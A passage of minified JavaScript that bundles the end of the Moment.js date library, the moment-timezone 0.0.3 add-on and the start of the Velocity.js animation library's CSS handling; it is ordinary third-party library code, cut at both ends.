a||null!=e&&e.hasOwnProperty("_isAMomentObject")},le.isDuration=function(e){return e instanceof s},ue=it.length-1;ue>=0;--ue)v(it[ue]);for(ue in le.normalizeUnits=function(e){return g(e)},le.invalid=function(e){var t=le.utc(NaN);return null!=e?l(t._pf,e):t._pf.userInvalidated=!0,t},le.parseZone=function(){return le.apply(null,arguments).parseZone()},le.parseTwoDigitYear=function(e){return b(e)+(b(e)>68?1900:2e3)},l(le.fn=a.prototype,{clone:function(){return le(this)},valueOf:function(){return+this._d+6e4*(this._offset||0)},unix:function(){return Math.floor(+this/1e3)},toString:function(){return this.clone().lang("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},toDate:function(){return this._offset?new Date(+this):this._d},toISOString:function(){var e=le(this).utc();return 0<e.year()&&e.year()<=9999?F(e,"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]"):F(e,"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]")},toArray:function(){var e=this;return[e.year(),e.month(),e.date(),e.hours(),e.minutes(),e.seconds(),e.milliseconds()]},isValid:function(){return C(this)},isDSTShifted:function(){return!!this._a&&(this.isValid()&&m(this._a,(this._isUTC?le.utc(this._a):le(this._a)).toArray())>0)},parsingFlags:function(){return l({},this._pf)},invalidAt:function(){return this._pf.overflow},utc:function(){return this.zone(0)},local:function(){return this.zone(0),this._isUTC=!1,this},format:function(e){var t=F(this,e||le.defaultFormat);return this.lang().postformat(t)},add:function(e,t){return f(this,"string"==typeof e?le.duration(+t,e):le.duration(e,t),1),this},subtract:function(e,t){return f(this,"string"==typeof e?le.duration(+t,e):le.duration(e,t),-1),this},diff:function(e,t,n){var i,r,o=E(e,this),a=6e4*(this.zone()-o.zone());return"year"===(t=g(t))||"month"===t?(i=432e5*(this.daysInMonth()+o.daysInMonth()),r=12*(this.year()-o.year())+(this.month()-o.month()),r+=(this-le(this).startOf("month")-(o-le(o).startOf("month")))/i,r-=6e4*(this.zone()-le(this).startOf("month").zone()-(o.zone()-le(o).startOf("month").zone()))/i,"year"===t&&(r/=12)):(i=this-o,r="second"===t?i/1e3:"minute"===t?i/6e4:"hour"===t?i/36e5:"day"===t?(i-a)/864e5:"week"===t?(i-a)/6048e5:i),n?r:u(r)},from:function(e,t){return le.duration(this.diff(e)).lang(this.lang()._abbr).humanize(!t)},fromNow:function(e){return this.from(le(),e)},calendar:function(){var e=E(le(),this).startOf("day"),t=this.diff(e,"days",!0),n=t<-6?"sameElse":t<-1?"lastWeek":t<0?"lastDay":t<1?"sameDay":t<2?"nextDay":t<7?"nextWeek":"sameElse";return this.format(this.lang().calendar(n,this))},isLeapYear:function(){return S(this.year())},isDST:function(){return this.zone()<this.clone().month(0).zone()||this.zone()<this.clone().month(5).zone()},day:function(e){var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=K(e,this.lang()),this.add({d:e-t})):t},month:re("Month",!0),startOf:function(e){switch(e=g(e)){case"year":this.month(0);case"quarter":case"month":this.date(1);case"week":case"isoWeek":case"day":this.hours(0);case"hour":this.minutes(0);case"minute":this.seconds(0);case"second":this.milliseconds(0)}return"week"===e?this.weekday(0):"isoWeek"===e&&this.isoWeekday(1),"quarter"===e&&this.month(3*Math.floor(this.month()/3)),this},endOf:function(e){return e=g(e),this.startOf(e).add("isoWeek"===e?"week":e,1).subtract("ms",1)},isAfter:function(e,t){return t=void 0!==t?t:"millisecond",+this.clone().startOf(t)>+le(e).startOf(t)},isBefore:function(e,t){return t=void 0!==t?t:"millisecond",+this.clone().startOf(t)<+le(e).startOf(t)},isSame:function(e,t){return t=t||"ms",+this.clone().startOf(t)==+E(e,this).startOf(t)},min:function(e){return(e=le.apply(null,arguments))<this?this:e},max:function(e){return(e=le.apply(null,arguments))>this?this:e},zone:function(e,t){var n=this._offset||0;return null==e?this._isUTC?n:this._d.getTimezoneOffset():("string"==typeof e&&(e=N(e)),Math.abs(e)<16&&(e*=60),this._offset=e,this._isUTC=!0,n!==e&&(!t||this._changeInProgress?f(this,le.duration(n-e,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,le.updateOffset(this,!0),this._changeInProgress=null)),this)},zoneAbbr:function(){return this._isUTC?"UTC":""},zoneName:function(){return this._isUTC?"Coordinated Universal Time":""},parseZone:function(){return this._tzm?this.zone(this._tzm):"string"==typeof this._i&&this.zone(this._i),this},hasAlignedHourOffset:function(e){return e=e?le(e).zone():0,(this.zone()-e)%60==0},daysInMonth:function(){return _(this.year(),this.month())},dayOfYear:function(e){var t=pe((le(this).startOf("day")-le(this).startOf("year"))/864e5)+1;return null==e?t:this.add("d",e-t)},quarter:function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},weekYear:function(e){var t=Z(this,this.lang()._week.dow,this.lang()._week.doy).year;return null==e?t:this.add("y",e-t)},isoWeekYear:function(e){var t=Z(this,1,4).year;return null==e?t:this.add("y",e-t)},week:function(e){var t=this.lang().week(this);return null==e?t:this.add("d",7*(e-t))},isoWeek:function(e){var t=Z(this,1,4).week;return null==e?t:this.add("d",7*(e-t))},weekday:function(e){var t=(this.day()+7-this.lang()._week.dow)%7;return null==e?t:this.add("d",e-t)},isoWeekday:function(e){return null==e?this.day()||7:this.day(this.day()%7?e:e-7)},isoWeeksInYear:function(){return T(this.year(),1,4)},weeksInYear:function(){var e=this._lang._week;return T(this.year(),e.dow,e.doy)},get:function(e){return this[e=g(e)]()},set:function(e,t){return"function"==typeof this[e=g(e)]&&this[e](t),this},lang:function(t){return t===e?this._lang:(this._lang=M(t),this)}}),le.fn.millisecond=le.fn.milliseconds=re("Milliseconds",!1),le.fn.second=le.fn.seconds=re("Seconds",!1),le.fn.minute=le.fn.minutes=re("Minutes",!1),le.fn.hour=le.fn.hours=re("Hours",!0),le.fn.date=re("Date",!0),le.fn.dates=n("dates accessor is deprecated. Use date instead.",re("Date",!0)),le.fn.year=re("FullYear",!0),le.fn.years=n("years accessor is deprecated. Use year instead.",re("FullYear",!0)),le.fn.days=le.fn.day,le.fn.months=le.fn.month,le.fn.weeks=le.fn.week,le.fn.isoWeeks=le.fn.isoWeek,le.fn.quarters=le.fn.quarter,le.fn.toJSON=le.fn.toISOString,l(le.duration.fn=s.prototype,{_bubble:function(){var e,t,n,i,r=this._milliseconds,o=this._days,a=this._months,s=this._data;s.milliseconds=r%1e3,e=u(r/1e3),s.seconds=e%60,t=u(e/60),s.minutes=t%60,n=u(t/60),s.hours=n%24,o+=u(n/24),s.days=o%30,a+=u(o/30),s.months=a%12,i=u(a/12),s.years=i},weeks:function(){return u(this.days()/7)},valueOf:function(){return this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*b(this._months/12)},humanize:function(e){var t=+this,n=J(t,!e,this.lang());return e&&(n=this.lang().pastFuture(t,n)),this.lang().postformat(n)},add:function(e,t){var n=le.duration(e,t);return this._milliseconds+=n._milliseconds,this._days+=n._days,this._months+=n._months,this._bubble(),this},subtract:function(e,t){var n=le.duration(e,t);return this._milliseconds-=n._milliseconds,this._days-=n._days,this._months-=n._months,this._bubble(),this},get:function(e){return this[(e=g(e)).toLowerCase()+"s"]()},as:function(e){return this["as"+(e=g(e)).charAt(0).toUpperCase()+e.slice(1)+"s"]()},lang:le.fn.lang,toIsoString:function(){var e=Math.abs(this.years()),t=Math.abs(this.months()),n=Math.abs(this.days()),i=Math.abs(this.hours()),r=Math.abs(this.minutes()),o=Math.abs(this.seconds()+this.milliseconds()/1e3);return this.asSeconds()?(this.asSeconds()<0?"-":"")+"P"+(e?e+"Y":"")+(t?t+"M":"")+(n?n+"D":"")+(i||r||o?"T":"")+(i?i+"H":"")+(r?r+"M":"")+(o?o+"S":""):"P0D"}}),Qe)Qe.hasOwnProperty(ue)&&(ae(ue,Qe[ue]),oe(ue.toLowerCase()));ae("Weeks",6048e5),le.duration.fn.asMonths=function(){return(+this-31536e6*this.years())/2592e6+12*this.years()},le.lang("en",{ordinal:function(e){var t=e%10;return e+(1===b(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),Se?module.exports=le:"function"==typeof define&&define.amd?(define("moment",function(e,t,n){return n.config&&n.config()&&!0===n.config().noGlobal&&(fe.moment=ce),le}),se(!0)):se()}.call(this),function(){function e(e){function n(e){var t=(e+="").split(":");return(~e.indexOf("-")?-1:1)*(60*Math.abs(+t[0])+(parseInt(t[1],10)||0)+(parseInt(t[2],10)||0)/60)}function i(e,t,i,r,o,a,s,l,c,u){this.name=e,this.startYear=+t,this.endYear=+i,this.month=+r,this.day=+o,this.dayRule=+a,this.time=n(s),this.timeRule=+l,this.offset=n(c),this.letters=u||""}function r(e,t){this.rule=t,this.start=t.start(e)}function o(e,t){return e.isLast?-1:t.isLast?1:t.start-e.start}function a(e){this.name=e,this.rules=[]}function s(t,i,r,o,a,s){var l,c="string"==typeof a?a.split("_"):[9999];for(this.name=t,this.offset=n(i),this.ruleSet=r,this.letters=o,l=0;l<c.length;l++)c[l]=+c[l];this.until=e.utc(c).subtract("m",n(s))}function l(e,t){return e.until-t.until}function c(e){this.name=f(e),this.displayName=e,this.zones=[]}function u(e){var t,n,i;for(t in e)for(i=e[t],n=0;n<i.length;n++)d(t+"\t"+i[n])}function d(e){if(S[e])return S[e];var t=e.split(/\s/),n=f(t[0]),r=new i(n,t[1],t[2],t[3],t[4],t[5],t[6],t[7],t[8],t[9],t[10]);return S[e]=r,g(n).add(r),r}function f(e){return(e||"").toLowerCase().replace(/\//g,"_")}function p(e){var t,n,i;for(t in e)for(i=e[t],n=0;n<i.length;n++)m(t+"\t"+i[n])}function h(e){var t;for(t in e)E[f(t)]=f(e[t])}function m(e){if(C[e])return C[e];var t=e.split(/\s/),n=new s(f(t[0]),t[1],g(t[2]),t[3],t[4],t[5]);return C[e]=n,y(t[0]).add(n),n}function g(e){return e=f(e),k[e]||(k[e]=new a(e)),k[e]}function y(e){var t=f(e);return E[t]&&(t=E[t]),x[t]||(x[t]=new c(e)),x[t]}function v(e){e&&(e.zones&&p(e.zones),e.rules&&u(e.rules),e.links&&h(e.links))}function b(){var e,t=[];for(e in x)t.push(x[e]);return t}var _,T=e.fn.zoneName,w=e.fn.zoneAbbr,S={},k={},C={},x={},E={},$=1,A=2,M=7,P=8;return i.prototype={contains:function(e){return e>=this.startYear&&e<=this.endYear},start:function(t){return t=Math.min(Math.max(t,this.startYear),this.endYear),e.utc([t,this.month,this.date(t),0,this.time])},date:function(e){return this.dayRule===M?this.day:this.dayRule===P?this.lastWeekday(e):this.weekdayAfter(e)},weekdayAfter:function(t){for(var n=this.day,i=e([t,this.month,1]).day(),r=this.dayRule+1-i;r<n;)r+=7;return r},lastWeekday:function(t){var n=this.day,i=n%7,r=e([t,this.month+1,1]).day(),o=e([t,this.month,1]).daysInMonth()+(i-(r-1))-7*~~(n/7);return i>=r&&(o-=7),o}},r.prototype={equals:function(e){return!(!e||e.rule!==this.rule)&&Math.abs(e.start-this.start)<864e5}},a.prototype={add:function(e){this.rules.push(e)},ruleYears:function(e,t){var n,i,a,s=e.year(),l=[];for(n=0;n<this.rules.length;n++)(i=this.rules[n]).contains(s)?l.push(new r(s,i)):i.contains(s+1)&&l.push(new r(s+1,i));return l.push(new r(s-1,this.lastYearRule(s-1))),t&&((a=new r(s-1,t.lastRule())).start=t.until.clone().utc(),a.isLast=t.ruleSet!==this,l.push(a)),l.sort(o),l},rule:function(e,t,n){var i,r,o,a,s,l=this.ruleYears(e,n),c=0;for(n&&(r=n.offset+n.lastRule().offset,o=9e4*Math.abs(r)),s=l.length-1;s>-1;s--)a=i,(i=l[s]).equals(a)||(n&&!i.isLast&&Math.abs(i.start-n.until)<=o&&(c+=r-t),i.rule.timeRule===A&&(c=t),i.rule.timeRule!==$&&i.start.add("m",-c),c=i.rule.offset+t);for(s=0;s<l.length;s++)if(e>=(i=l[s]).start&&!i.isLast)return i.rule;return _},lastYearRule:function(e){var t,n,i,r=_,o=-1e30;for(t=0;t<this.rules.length;t++)e>=(n=this.rules[t]).startYear&&(i=n.start(e))>o&&(o=i,r=n);return r}},s.prototype={rule:function(e,t){return this.ruleSet.rule(e,this.offset,t)},lastRule:function(){return this._lastRule||(this._lastRule=this.rule(this.until)),this._lastRule},format:function(e){return this.letters.replace("%s",e.letters)}},c.prototype={zoneAndRule:function(e){var t,n,i;for(e=e.clone().utc(),t=0;t<this.zones.length&&!(e<(n=this.zones[t]).until);t++)i=n;return[n,n.rule(e,i)]},add:function(e){this.zones.push(e),this.zones.sort(l)},format:function(e){var t=this.zoneAndRule(e);return t[0].format(t[1])},offset:function(e){var t=this.zoneAndRule(e);return-(t[0].offset+t[1].offset)}},e.updateOffset=function(e){var t;e._z&&(t=e._z.offset(e),Math.abs(t)<16&&(t/=60),e.zone(t))},e.fn.tz=function(t){return t?(this._z=y(t),this._z&&e.updateOffset(this),this):this._z?this._z.displayName:void 0},e.fn.zoneName=function(){return this._z?this._z.format(this):T.call(this)},e.fn.zoneAbbr=function(){return this._z?this._z.format(this):w.call(this)},e.tz=function(){var t,n=[],i=arguments.length-1;for(t=0;t<i;t++)n[t]=arguments[t];var r=e.apply(null,n),o=r.zone();return r.tz(arguments[i]),r.add("minutes",r.zone()-o)},e.tz.add=v,e.tz.addRule=d,e.tz.addZone=m,e.tz.zones=b,e.tz.version=t,_=d("- 0 9999 0 0 0 0 0 0"),e}var t="0.0.3";"function"==typeof define&&define.amd?define("moment-timezone",["moment"],e):"undefined"!=typeof window&&window.moment?e(window.moment):"undefined"!=typeof module&&(module.exports=e(require("moment")))}.apply(this),function(e,t,n,i){function r(e){for(var t=-1,n=e?e.length:0,i=[];++t<n;){var r=e[t];r&&i.push(r)}return i}function o(e){return"[object Function]"===Object.prototype.toString.call(e)}function a(e){return"[object Array]"===Object.prototype.toString.call(e)}function s(e){var t=Object.prototype.toString.call(e);return"object"==typeof e&&/^\[object (HTMLCollection|NodeList|Object)\]$/.test(t)&&e.length!==i&&(0===e.length||"object"==typeof e[0]&&e[0].nodeType>0)}function l(e,t,n,i){function r(e,t){return 1-3*t+3*e}function o(e,t){return 3*t-6*e}function a(e){return 3*e}function s(e,t,n){return((r(t,n)*e+o(t,n))*e+a(t))*e}function l(e,t,n){return 3*r(t,n)*e*e+2*o(t,n)*e+a(t)}function c(t){ for(var i=t,r=0;8>r;++r){var o=l(i,e,n);if(0===o)return i;i-=(s(i,e,n)-t)/o}return i}if(4!==arguments.length)return!1;for(var u=0;4>u;++u)if("number"!=typeof arguments[u]||isNaN(arguments[u])||!isFinite(arguments[u]))return!1;return e=Math.min(e,1),n=Math.min(n,1),e=Math.max(e,0),n=Math.max(n,0),function(r){return e===t&&n===i?r:s(c(r),t,i)}}function c(e){if(e)for(var t=(new Date).getTime(),n=0,r=m.State.calls.length;r>n;n++)if(m.State.calls[n]){var o=m.State.calls[n],a=o[0],s=o[2],l=o[3];l||(l=m.State.calls[n][3]=t-16);for(var f=Math.min((t-l)/s.duration,1),y=0,v=a.length;v>y;y++){var b=a[y],_=b.element;if(h.data(_,d)){var T=!1;for(var w in s.display&&"none"!==s.display&&g.setPropertyValue(_,"display",s.display),b)if("element"!==w){var S,k=b[w],C="string"==typeof k.easing?m.Easings[k.easing]:k.easing;if(S=1===f?k.endValue:k.startValue+(k.endValue-k.startValue)*C(f),k.currentValue=S,g.Hooks.registered[w]){var x=g.Hooks.getRoot(w),E=h.data(_,d).rootPropertyValueCache[x];E&&(k.rootPropertyValue=E)}var $=g.setPropertyValue(_,w,k.currentValue+(0===parseFloat(S)?"":k.unitType),k.rootPropertyValue,k.scrollData);g.Hooks.registered[w]&&(h.data(_,d).rootPropertyValueCache[x]=g.Normalizations.registered[x]?g.Normalizations.registered[x]("extract",null,$[1]):$[1]),"transform"===$[0]&&(T=!0)}s.mobileHA&&h.data(_,d).transformCache.translate3d===i&&(h.data(_,d).transformCache.translate3d="(0, 0, 0)",T=!0),T&&g.flushTransformCache(_)}}s.display&&"none"!==s.display&&(m.State.calls[n][2].display=!1),1===f&&u(n)}m.State.isTicking&&p(c)}function u(e){for(var t=m.State.calls[e][0],n=m.State.calls[e][1],r=m.State.calls[e][2],o=!1,a=0,s=t.length;s>a;a++){var l=t[a].element;if("none"!==r.display||r.loop||g.setPropertyValue(l,"display",r.display),h.queue(l)[1]!==i&&/\.velocityQueueEntryFlag/i.test(h.queue(l)[1])||h.data(l,d)&&(h.data(l,d).isAnimating=!1,h.data(l,d).rootPropertyValueCache={},r.mobileHA&&!m.State.isGingerbread&&(delete h.data(l,d).transformCache.translate3d,g.flushTransformCache(l))),a===s-1&&!r.loop&&r.complete){var c=n.jquery?n.get():n;r.complete.call(c,c)}!1!==r.queue&&h.dequeue(l,r.queue)}m.State.calls[e]=!1;for(var u=0,f=m.State.calls.length;f>u;u++)if(!1!==m.State.calls[u]){o=!0;break}!1===o&&(m.State.isTicking=!1,delete m.State.calls,m.State.calls=[])}var d="velocity",f=function(){if(n.documentMode)return n.documentMode;for(var e=7;e>4;e--){var t=n.createElement("div");if(t.innerHTML="<!--[if IE "+e+"]><span></span><![endif]-->",t.getElementsByTagName("span").length)return t=null,e}return i}(),p=t.requestAnimationFrame||function(){var e=0;return t.webkitRequestAnimationFrame||t.mozRequestAnimationFrame||function(t){var n,i=(new Date).getTime();return n=Math.max(0,16-(i-e)),e=i+n,setTimeout(function(){t(i+n)},n)}}();if(7>=f){if(t.jQuery)return void(t.jQuery.fn.velocity=t.jQuery.fn.animate);throw new Error("For IE<=7, Velocity falls back to jQuery, which must first be loaded.")}if(8===f&&!t.jQuery)throw new Error("For IE8, Velocity requires jQuery to be loaded.");if(e.Velocity!==i&&!e.Velocity.Utilities)throw new Error("Velocity's namespace is occupied. Aborting.");var h=t.jQuery||e.Velocity.Utilities,m=e.Velocity=e.velocity=h.extend(e.Velocity||{},{State:{isMobile:/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),isAndroid:/Android/i.test(navigator.userAgent),isGingerbread:/Android 2\.3\.[3-7]/i.test(navigator.userAgent),prefixElement:n.createElement("div"),prefixMatches:{},scrollAnchor:null,scrollPropertyLeft:null,scrollPropertyTop:null,isTicking:!1,calls:[]},CSS:{},Sequences:{},Easings:{},defaults:{queue:"",duration:400,easing:"swing",complete:null,display:null,loop:!1,delay:!1,mobileHA:!0,_cacheValues:!0},animate:function(){},debug:!1});t.pageYOffset!==i?(m.State.scrollAnchor=t,m.State.scrollPropertyLeft="pageXOffset",m.State.scrollPropertyTop="pageYOffset"):(m.State.scrollAnchor=n.documentElement||n.body.parentNode||n.body,m.State.scrollPropertyLeft="scrollLeft",m.State.scrollPropertyTop="scrollTop"),function(){var e={};h.each(["Quad","Cubic","Quart","Quint","Expo"],function(t,n){e[n]=function(e){return Math.pow(e,t+2)}}),h.extend(e,{Sine:function(e){return 1-Math.cos(e*Math.PI/2)},Circ:function(e){return 1-Math.sqrt(1-e*e)},Elastic:function(e){return 0===e||1===e?e:-Math.pow(2,8*(e-1))*Math.sin((80*(e-1)-7.5)*Math.PI/15)},Back:function(e){return e*e*(3*e-2)},Bounce:function(e){for(var t,n=4;e<((t=Math.pow(2,--n))-1)/11;);return 1/Math.pow(4,3-n)-7.5625*Math.pow((3*t-2)/22-e,2)}}),h.each(e,function(e,t){m.Easings["easeIn"+e]=t,m.Easings["easeOut"+e]=function(e){return 1-t(1-e)},m.Easings["easeInOut"+e]=function(e){return.5>e?t(2*e)/2:1-t(-2*e+2)/2}}),m.Easings.linear=function(e){return e},m.Easings.swing=function(e){return.5-Math.cos(e*Math.PI)/2},m.Easings.ease=l(.25,.1,.25,1),m.Easings["ease-in"]=l(.42,0,1,1),m.Easings["ease-out"]=l(0,0,.58,1),m.Easings["ease-in-out"]=l(.42,0,.58,1),m.Easings.spring=function(e){return 1-Math.cos(4.5*e*Math.PI)*Math.exp(6*-e)}}();var g=m.CSS={RegEx:{valueUnwrap:/^[A-z]+\((.*)\)$/i,wrappedValueAlreadyExtracted:/[0-9.]+ [0-9.]+ [0-9.]+( [0-9.]+)?/,valueSplit:/([A-z]+\(.+\))|(([A-z0-9#-.]+?)(?=\s|$))/gi},Hooks:{templates:{color:["Red Green Blue Alpha","255 255 255 1"],backgroundColor:["Red Green Blue Alpha","255 255 255 1"],borderColor:["Red Green Blue Alpha","255 255 255 1"],borderTopColor:["Red Green Blue Alpha","255 255 255 1"],borderRightColor:["Red Green Blue Alpha","255 255 255 1"],borderBottomColor:["Red Green Blue Alpha","255 255 255 1"],borderLeftColor:["Red Green Blue Alpha","255 255 255 1"],outlineColor:["Red Green Blue Alpha","255 255 255 1"],textShadow:["Color X Y Blur","black 0px 0px 0px"],boxShadow:["Color X Y Blur Spread","black 0px 0px 0px 0px"],clip:["Top Right Bottom Left","0px 0px 0px 0px"],backgroundPosition:["X Y","0% 0%"],transformOrigin:["X Y Z","50% 50% 0%"],perspectiveOrigin:["X Y","50% 50%"]},registered:{},register:function(){var e,t,n;if(f)for(e in g.Hooks.templates){n=(t=g.Hooks.templates[e])[0].split(" ");var i=t[1].match(g.RegEx.valueSplit);"Color"===n[0]&&(n.push(n.shift()),i.push(i.shift()),g.Hooks.templates[e]=[n.join(" "),i.join(" ")])}for(e in g.Hooks.templates)for(var r in n=(t=g.Hooks.templates[e])[0].split(" ")){var o=e+n[r],a=r;g.Hooks.registered[o]=[e,a]}},getRoot:function(e){var t=g.Hooks.registered[e];return t?t[0]:e},cleanRootPropertyValue:function(e,t){return g.RegEx.valueUnwrap.test(t)&&(t=t.match(g.Hooks.RegEx.valueUnwrap)[1]),g.Values.isCSSNullValue(t)&&(t=g.Hooks.templates[e][1]),t},extractValue:function(e,t){var n=g.Hooks.registered[e];if(n){var i=n[0],r=n[1];return(t=g.Hooks.cleanRootPropertyValue(i,t)).toString().match(g.RegEx.valueSplit)[r]}return t},injectValue:function(e,t,n){var i=g.Hooks.registered[e];if(i){var r,o=i[0],a=i[1];return(r=(n=g.Hooks.cleanRootPropertyValue(o,n)).toString().match(g.RegEx.valueSplit))[a]=t,r.join(" ")}return n}},Normalizations:{registered:{clip:function(e,t,n){switch(e){case"name":return"clip";case"extract":var i;return g.RegEx.wrappedValueAlreadyExtracted.test(n)?i=n:(i=n.toString().match(g.RegEx.valueUnwrap))&&(i=i[1].replace(/,(\s+)?/g," ")),i;case"inject":return"rect("+n+")"}},opacity:function(e,t,n){if(8>=f)switch(e){case"name":return"filter";case"extract":var i=n.toString().match(/alpha\(opacity=(.*)\)/i);return i?i[1]/100:1;case"inject":return t.style.zoom=1,parseFloat(n)>=1?"":"alpha(opacity="+parseInt(100*parseFloat(n),10)+")"}else switch(e){case"name":return"opacity";case"extract":case"inject":return n}}},register:function(){function e(e){var t,n=/^#?([a-f\d])([a-f\d])([a-f\d])$/i,i=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i;return e=e.replace(n,function(e,t,n,i){return t+t+n+n+i+i}),(t=i.exec(e))?"rgb("+parseInt(t[1],16)+" "+parseInt(t[2],16)+" "+parseInt(t[3],16)+")":"rgb(0 0 0)"}var t=["translateX","translateY","scale","scaleX","scaleY","skewX","skewY","rotateZ"];9>=f||(t=t.concat(["transformPerspective","translateZ","scaleZ","rotateX","rotateY"]));for(var n=0,r=t.length;r>n;n++)!function(){var e=t[n];g.Normalizations.registered[e]=function(t,n,r){switch(t){case"name":return"transform";case"extract":return h.data(n,d).transformCache[e]===i?/^scale/i.test(e)?1:0:h.data(n,d).transformCache[e].replace(/[()]/g,"");case"inject":var o=!1;switch(e.substr(0,e.length-1)){case"translate":o=!/(%|px|em|rem|\d)$/i.test(r);break;case"scal":case"scale":m.State.isAndroid&&h.data(n,d).transformCache[e]===i&&(r=1),o=!/(\d)$/i.test(r);break;case"skew":o=!/(deg|\d)$/i.test(r);break;case"rotate":o=!/(deg|\d)$/i.test(r)}return o||(h.data(n,d).transformCache[e]="("+r+")"),h.data(n,d).transformCache[e]}}}();for(var o=["color","backgroundColor","borderColor","borderTopColor","borderRightColor","borderBottomColor","borderLeftColor","outlineColor"],a=(n=0,o.length);a>n;n++)!function(){var t=o[n];g.Normalizations.registered[t]=function(n,r,o){switch(n){case"name":return t;case"extract":var a;if(g.RegEx.wrappedValueAlreadyExtracted.test(o))a=o;else{var s,l={aqua:"rgb(0, 255, 255);",black:"rgb(0, 0, 0)",blue:"rgb(0, 0, 255)",fuchsia:"rgb(255, 0, 255)",gray:"rgb(128, 128, 128)",green:"rgb(0, 128, 0)",lime:"rgb(0, 255, 0)",maroon:"rgb(128, 0, 0)",navy:"rgb(0, 0, 128)",olive:"rgb(128, 128, 0)",purple:"rgb(128, 0, 128)",red:"rgb(255, 0, 0)",silver:"rgb(192, 192, 192)",teal:"rgb(0, 128, 128)",white:"rgb(255, 255, 255)",yellow:"rgb(255, 255, 0)"};/^[A-z]+$/i.test(o)?s=l[o]!==i?l[o]:l.black:/^#([A-f\d]{3}){1,2}$/i.test(o)?s=e(o):/^rgba?\(/i.test(o)||(s=l.black),a=(s||o).toString().match(g.RegEx.valueUnwrap)[1].replace(/,(\s+)?/g," ")}return 8>=f||3!==a.split(" ").length||(a+=" 1"),a;case"inject":return 8>=f?4===o.split(" ").length&&(o=o.split(/\s+/).slice(0,3).join(" ")):3===o.split(" ").length&&(o+=" 1"),(8>=f?"rgb":"rgba")+"("+o.replace(/\s+/g,",").replace(/\.(\d)+(?=,)/g,"")+")"}}}()}},Names:{camelCase:function(e){return e.replace(/-(\w)/g,function(e,t){return t.toUpperCase()})},prefixCheck:function(e){if(m.State.prefixMatches[e])return[m.State.prefixMatches[e],!0];for(var t=["","Webkit","Moz","ms","O"],n=0,i=t.length;i>n;n++){var r;if(r=0===n?e:t[n]+e.replace(/^\w/,function(e){return e.toUpperCase()}),"string"==typeof m.State.prefixElement.style[r])return m.State.prefixMatches[e]=r,[r,!0]}return[e,!1]}},Values:{isCSSNullValue:function(e){return 0==e||/^(none|auto|transparent|(rgba\(0, ?0, ?0, ?0\)))$/i.test(e)},getUnitType:function(e){return/^(rotate|skew)/i.test(e)?"deg":/(^(scale|scaleX|scaleY|scaleZ|opacity|alpha|fillOpacity|flexGrow|flexHeight|zIndex|fontWeight)$)|color/i.test(e)?"":"px"},getDisplayType:function(e){var t=e.tagName.toString().toLowerCase();return/^(b|big|i|small|tt|abbr|acronym|cite|code|dfn|em|kbd|strong|samp|var|a|bdo|br|img|map|object|q|script|span|sub|sup|button|input|label|select|textarea)$/i.test(t)?"inline":/^(li)$/i.test(t)?"list-item":"block"}},getPropertyValue:function(e,n,r,o){function a(e,n){var r=0;if(8>=f)r=h.css(e,n);else{if(!o){if("height"===n&&"border-box"!==g.getPropertyValue(e,"boxSizing").toString().toLowerCase())return e.offsetHeight-(parseFloat(g.getPropertyValue(e,"borderTopWidth"))||0)-(parseFloat(g.getPropertyValue(e,"borderBottomWidth"))||0)-(parseFloat(g.getPropertyValue(e,"paddingTop"))||0)-(parseFloat(g.getPropertyValue(e,"paddingBottom"))||0);if("width"===n&&"border-box"!==g.getPropertyValue(e,"boxSizing").toString().toLowerCase())return e.offsetWidth-(parseFloat(g.getPropertyValue(e,"borderLeftWidth"))||0)-(parseFloat(g.getPropertyValue(e,"borderRightWidth"))||0)-(parseFloat(g.getPropertyValue(e,"paddingLeft"))||0)-(parseFloat(g.getPropertyValue(e,"paddingRight"))||0)}var s;s=h.data(e,d)===i?t.getComputedStyle(e,null):h.data(e,d).computedStyle?h.data(e,d).computedStyle:h.data(e,d).computedStyle=t.getComputedStyle(e,null),f&&"borderColor"===n&&(n="borderTopColor"),(""===(r=9===f&&"filter"===n?s.getPropertyValue(n):s[n])||null===r)&&(r=e.style[n])}if("auto"===r&&/^(top|right|bottom|left)$/i.test(n)){var l=a(e,"position");("fixed"===l||"absolute"===l&&/top|left/i.test(n))&&(r=h(e).position()[n]+"px")}return r}var s;if(g.Hooks.registered[n]){var l=n,c=g.Hooks.getRoot(l);r===i&&(r=g.getPropertyValue(e,g.Names.prefixCheck(c)[0])),g.Normalizations.registered[c]&&(r=g.Normalizations.registered[c]("extract",e,r)),s=g.Hooks.extractValue(l,r)}else if(g.Normalizations.registered[n]){var u,p;"transform"!==(u=g.Normalizations.registered[n]("name",e))&&(p=a(e,g.Names.prefixCheck(u)[0]),g.Values.isCSSNullValue(p)&&g.Hooks.templates[n]&&(p=g.Hooks.templates[n][1])),s=g.Normalizations.registered[n]("extract",e,p)}return/^[\d-]/.test(s)||(s=a(e,g.Names.prefixCheck(n)[0])),g.Values.isCSSNullValue(s)&&(s=0),m.debug>=2&&console.log("Get "+n+": "+s),s},setPropertyValue:function(e,n,i,r,o){var a=n;if("scroll"===n)o.container?o.container["scroll"+o.direction]=i:"Left"===o.direction?t.scrollTo(i,o.alternateValue):t.scrollTo(o.alternateValue,i);else if(g.Normalizations.registered[n]&&"transform"===g.Normalizations.registered[n]("name",e))g.Normalizations.registered[n]("inject",e,i),a="transform",i=h.data(e,d).transformCache[n];else{if(g.Hooks.registered[n]){var s=n,l=g.Hooks.getRoot(n);r=r||g.getPropertyValue(e,l),i=g.Hooks.injectValue(s,i,r),n=l}if(g.Normalizations.registered[n]&&(i=g.Normalizations.registered[n]("inject",e,i),n=g.Normalizations.registered[n]("name",e)),a=g.Names.prefixCheck(n)[0],8>=f)try{e.style[a]=i}catch(c){console.log("Error setting ["+a+"] to ["+i+"]")}else e.style[a]=i;m.debug>=2&&console.log("Set "+n+" ("+a+"): "+i)}return[a,i]},flushTransformCache:function(e){var t,n,i,r="";for(t in h.data(e,d).transformCache)n=h.data(e,d).transformCache[t],"transformPerspective"!==t?(9===f&&"rotateZ"===t&&(t="rotate"),r+=t+n+" 